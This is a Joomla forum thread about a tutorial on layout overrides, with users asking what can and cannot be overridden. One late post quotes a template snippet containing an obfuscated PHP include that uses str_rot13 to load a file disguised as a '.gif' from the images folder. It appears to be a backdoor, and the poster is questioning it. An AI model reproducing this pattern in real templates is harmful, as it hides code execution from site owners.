Extensive tutorial on layout overrides
- masterchief
- Joomla! Hero
- Posts: 2247
- Joined: Fri Aug 12, 2005 2:45 am
- Location: Brisbane, Australia
- Contact:
Extensive tutorial on layout overrides
I've done an extensive tutorial on layout overrides (and a few other things) on the developer site:
http://developer.joomla.org/tutorials/3 ... oomla.html
Hope people find it useful and if there is anything missing or anything is unclear let me know.
http://developer.joomla.org/tutorials/3 ... oomla.html
Hope people find it useful and if there is anything missing or anything is unclear let me know.
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
- sem101
- Joomla! Intern
- Posts: 56
- Joined: Wed Jun 28, 2006 9:43 pm
- Location: NY
Re: Extensive tutorial on layout overrides
Great article, thanks!
- Does the override apply to Admin templates as well?
- Can any file be overridden and not just View files? e.g. Helper or Controller files?
TIA
- Does the override apply to Admin templates as well?
- Can any file be overridden and not just View files? e.g. Helper or Controller files?
TIA
Joomla 1.5.14, MySQL 5.0.45, PHP 5.2.6
- masterchief
- Joomla! Hero
- Posts: 2247
- Joined: Fri Aug 12, 2005 2:45 am
- Location: Brisbane, Australia
- Contact:
Re: Extensive tutorial on layout overrides
You can override the layouts of the admin components only if they'd been MVC'd. Many are still in the old format.
Helpers and controllers cannot be overridden, no.
Helpers and controllers cannot be overridden, no.
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
- haooffotech
- Joomla! Apprentice
- Posts: 33
- Joined: Sun Sep 14, 2008 12:14 am
Re: Extensive tutorial on layout overrides
What are differents between template override machine of zencart and joomla?
Y!M: haooffotech
Site: http://www.khoiviet.vn
Site: http://www.khoiviet.vn
- masterchief
- Joomla! Hero
- Posts: 2247
- Joined: Fri Aug 12, 2005 2:45 am
- Location: Brisbane, Australia
- Contact:
Re: Extensive tutorial on layout overrides
No idea. You'd have to ask ZenCart.haooffotech wrote:What are differents between template override machine of zencart and joomla?
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
- jattda
- Joomla! Apprentice
- Posts: 17
- Joined: Tue Aug 26, 2008 10:52 am
Re: Extensive tutorial on layout overrides
I want to override the output for the com_content in the admin section.
Is this possible?
I've looked at the folder structure and it has a model and view folder, but not a controller folder. So is this in MVC format?
Thanks
Is this possible?
I've looked at the folder structure and it has a model and view folder, but not a controller folder. So is this in MVC format?
Thanks
I've got an idea, an idea so smart that my head would explode if I even began to know what I'm talking about.
- masterchief
- Joomla! Hero
- Posts: 2247
- Joined: Fri Aug 12, 2005 2:45 am
- Location: Brisbane, Australia
- Contact:
Re: Extensive tutorial on layout overrides
It's not really practical to override backend com_content in 1.5 unfortunately.
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
-
- Joomla! Apprentice
- Posts: 18
- Joined: Sat Oct 11, 2008 10:32 pm
Re: Extensive tutorial on layout overrides
great .... thx for this
- juanparati
- Joomla! Enthusiast
- Posts: 123
- Joined: Thu Nov 08, 2007 6:00 pm
- Location: Aarhus (Denmark)
Re: Extensive tutorial on layout overrides
This article is very useful, I recommend it to all future joomla developers.
From the code to the reality!
- dingbusan
- Joomla! Intern
- Posts: 64
- Joined: Sun Sep 21, 2008 3:13 pm
- Contact:
Re: Extensive tutorial on layout overrides
just have a look, really great
-
- Joomla! Apprentice
- Posts: 48
- Joined: Sun Nov 23, 2008 8:28 pm
Re: Extensive tutorial on layout overrides
is it possible too create a complete outsourced landing page out of a component.
I want to use some functions of joomla like registering users and administration of this landing pages e.g. adding location ids. Is a component a good approach for that? I mean the template should be completey different to joomlas. Can this be done with override directory structure?
I want to use some functions of joomla like registering users and administration of this landing pages e.g. adding location ids. Is a component a good approach for that? I mean the template should be completey different to joomlas. Can this be done with override directory structure?
-
- Joomla! Fledgling
- Posts: 1
- Joined: Wed Dec 31, 2008 10:18 am
Re: Extensive tutorial on layout overrides
Good article!!
-
- Joomla! Apprentice
- Posts: 9
- Joined: Mon Jan 05, 2009 2:13 pm
Re: Extensive tutorial on layout overrides
So, it is possible to make a frontend component layout showed just like the backend one. Like this,
http://img56.imageshack.us/my.php?image=94786576ng0.png
What about the toolbar and the table style?
http://img56.imageshack.us/my.php?image=94786576ng0.png
What about the toolbar and the table style?
- masterchief
- Joomla! Hero
- Posts: 2247
- Joined: Fri Aug 12, 2005 2:45 am
- Location: Brisbane, Australia
- Contact:
Re: Extensive tutorial on layout overrides
@fahmi_priadi
I don't know what you mean.
I don't know what you mean.
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
-
- Joomla! Apprentice
- Posts: 9
- Joined: Mon Jan 05, 2009 2:13 pm
Re: Extensive tutorial on layout overrides
I'm sorry, my english is not good.
I want to create a frontend component which capable to show a list of data, and input data to the list, just like the Article Manager. I've read Learning Joomla! 1.5 Extension Development book, but the book only tell me how to make the Restaurant Review Manager at the backend.
Can you give me a suggestion, which book or article that i should read to solve my problem?
Thank You
I want to create a frontend component which capable to show a list of data, and input data to the list, just like the Article Manager. I've read Learning Joomla! 1.5 Extension Development book, but the book only tell me how to make the Restaurant Review Manager at the backend.
Can you give me a suggestion, which book or article that i should read to solve my problem?
Thank You
- masterchief
- Joomla! Hero
- Posts: 2247
- Joined: Fri Aug 12, 2005 2:45 am
- Location: Brisbane, Australia
- Contact:
Re: Extensive tutorial on layout overrides
Ok, now I understand. You can apply the same principles for a backend component in the frontend. You don't have a toolbar on the frontend but have a look how com_content frontend handles article submission - that will give you some clues.
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
-
- Joomla! Apprentice
- Posts: 9
- Joined: Mon Jan 05, 2009 2:13 pm
Re: Extensive tutorial on layout overrides
Ok, thank you very much.
-
- Joomla! Apprentice
- Posts: 9
- Joined: Mon Jan 05, 2009 2:13 pm
Re: Extensive tutorial on layout overrides
Um, i'm sorry, i've already checked the com_content. But it seems that you've misunderstood the toolbar that i mean. Here is the picture of the toolbar and table list that i mean,
It is not an actual joomla! webpage, I made the picture using paint.
Sorry to bother you, but i really appreciate your help.
It is not an actual joomla! webpage, I made the picture using paint.
Sorry to bother you, but i really appreciate your help.
- masterchief
- Joomla! Hero
- Posts: 2247
- Joined: Fri Aug 12, 2005 2:45 am
- Location: Brisbane, Australia
- Contact:
Re: Extensive tutorial on layout overrides
Ok, that is technically possible using layout overrides, but it would take a fair bit of work to do (too much to explain here). Probably something you are going to have a lot of trial and error with.
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
-
- Joomla! Apprentice
- Posts: 9
- Joined: Mon Jan 05, 2009 2:13 pm
Re: Extensive tutorial on layout overrides
Ok, thank you
-
- Joomla! Apprentice
- Posts: 6
- Joined: Sat Jan 31, 2009 11:06 pm
Re: Extensive tutorial on layout overrides
gee thanks that the great post
Please read forum rules regarding signatures: http://forum.joomla.org/viewtopic.php?f=8&t=65
-
- Joomla! Apprentice
- Posts: 16
- Joined: Tue Oct 23, 2007 4:20 pm
Re: Extensive tutorial on layout overrides
A very good tutorial.... but there isnt a plugin override in general, right?
for example pagebreak.php....
If any developer can confirm this I 've made a post in http://forum.joomla.org/viewtopic.php?p ... 5#p1605175
I 've uploaded a hacked update for the JPluginHelper class but the official joomla developers must check the file and make fixes...
for example pagebreak.php....
If any developer can confirm this I 've made a post in http://forum.joomla.org/viewtopic.php?p ... 5#p1605175
I 've uploaded a hacked update for the JPluginHelper class but the official joomla developers must check the file and make fixes...
- masterchief
- Joomla! Hero
- Posts: 2247
- Joined: Fri Aug 12, 2005 2:45 am
- Location: Brisbane, Australia
- Contact:
Re: Extensive tutorial on layout overrides
No, there's no plugin override because they don't work that way. If you want to do that copy the plugin to make a new one and turn the old one off. Simplepsifidotos wrote:A very good tutorial.... but there isnt a plugin override in general, right?
for example pagebreak.php....
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
-
- Joomla! Apprentice
- Posts: 16
- Joined: Tue Oct 23, 2007 4:20 pm
Re: Extensive tutorial on layout overrides
Strange, the view of plugins should be separated some how from their functionality, like the MVC in components... but with little code added in JPluginHelper I added plugin override capability per template (my previous post)...masterchief wrote:No, there's no plugin override because they don't work that way. If you want to do that copy the plugin to make a new one and turn the old one off. Simplepsifidotos wrote:A very good tutorial.... but there isnt a plugin override in general, right?
for example pagebreak.php....
thank you for your immediate reply masterchief.....
- masterchief
- Joomla! Hero
- Posts: 2247
- Joined: Fri Aug 12, 2005 2:45 am
- Location: Brisbane, Australia
- Contact:
Re: Extensive tutorial on layout overrides
Plugins don't have views and they serve a wide variety of purposes. That said, you could theoretically write a content plugin to support templates of a sort. The pagebreak one though, I'd actually turn that one into JHtml helpers myself rather than using a plugin.
Andrew Eddie - Tweet @AndrewEddie
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
<><
http://eddify.me
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.
-
- Joomla! Apprentice
- Posts: 16
- Joined: Tue Oct 23, 2007 4:20 pm
Re: Extensive tutorial on layout overrides
Oh, ok masterchief now I got it, thank you very much for this, there is a lot of confusion around plugins. I 'll use of course your first solution "create a new version for the plugin"....masterchief wrote:Plugins don't have views and they serve a wide variety of purposes. That said, you could theoretically write a content plugin to support templates of a sort. The pagebreak one though, I'd actually turn that one into JHtml helpers myself rather than using a plugin.
thank u once more for your immediate response...
-
- Joomla! Fledgling
- Posts: 4
- Joined: Sat Mar 07, 2009 1:00 pm
Re: Extensive tutorial on layout overrides
thanks for the nice tutorial.
Please read forum rules regarding signatures: http://forum.joomla.org/viewtopic.php?f=8&t=65
-
- Joomla! Fledgling
- Posts: 1
- Joined: Thu Mar 26, 2009 12:16 pm
Re: Extensive tutorial on layout overrides
Great article, thanks!
keep it up.
Regards,
keep it up.
Regards,
- Webdongle
- Joomla! Master
- Posts: 44096
- Joined: Sat Apr 05, 2008 9:58 pm
Re: Extensive tutorial on layout overrides
is
a 'layout override'? If so how does it work ?<div id="leftcolumn">
<!-- <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?> -->
<jdoc:include type="modules" name="left" style="rounded" />
</div>
http://www.weblinksonline.co.uk/
https://www.weblinksonline.co.uk/updating-joomla.html
"When I'm right no one remembers but when I'm wrong no one forgets".
https://www.weblinksonline.co.uk/updating-joomla.html
"When I'm right no one remembers but when I'm wrong no one forgets".
- Macsimice
- Joomla! Explorer
- Posts: 331
- Joined: Sun Mar 18, 2007 12:50 pm
- Location: Netherlands
- Contact:
Re: Extensive tutorial on layout overrides
I second and third that! Just like pagination, it's one of those elements that designers'll want to control!masterchief wrote:Plugins don't have views and they serve a wide variety of purposes. That said, you could theoretically write a content plugin to support templates of a sort. The pagebreak one though, I'd actually turn that one into JHtml helpers myself rather than using a plugin.
Hopefully the developers pick up on this and add it in future versions!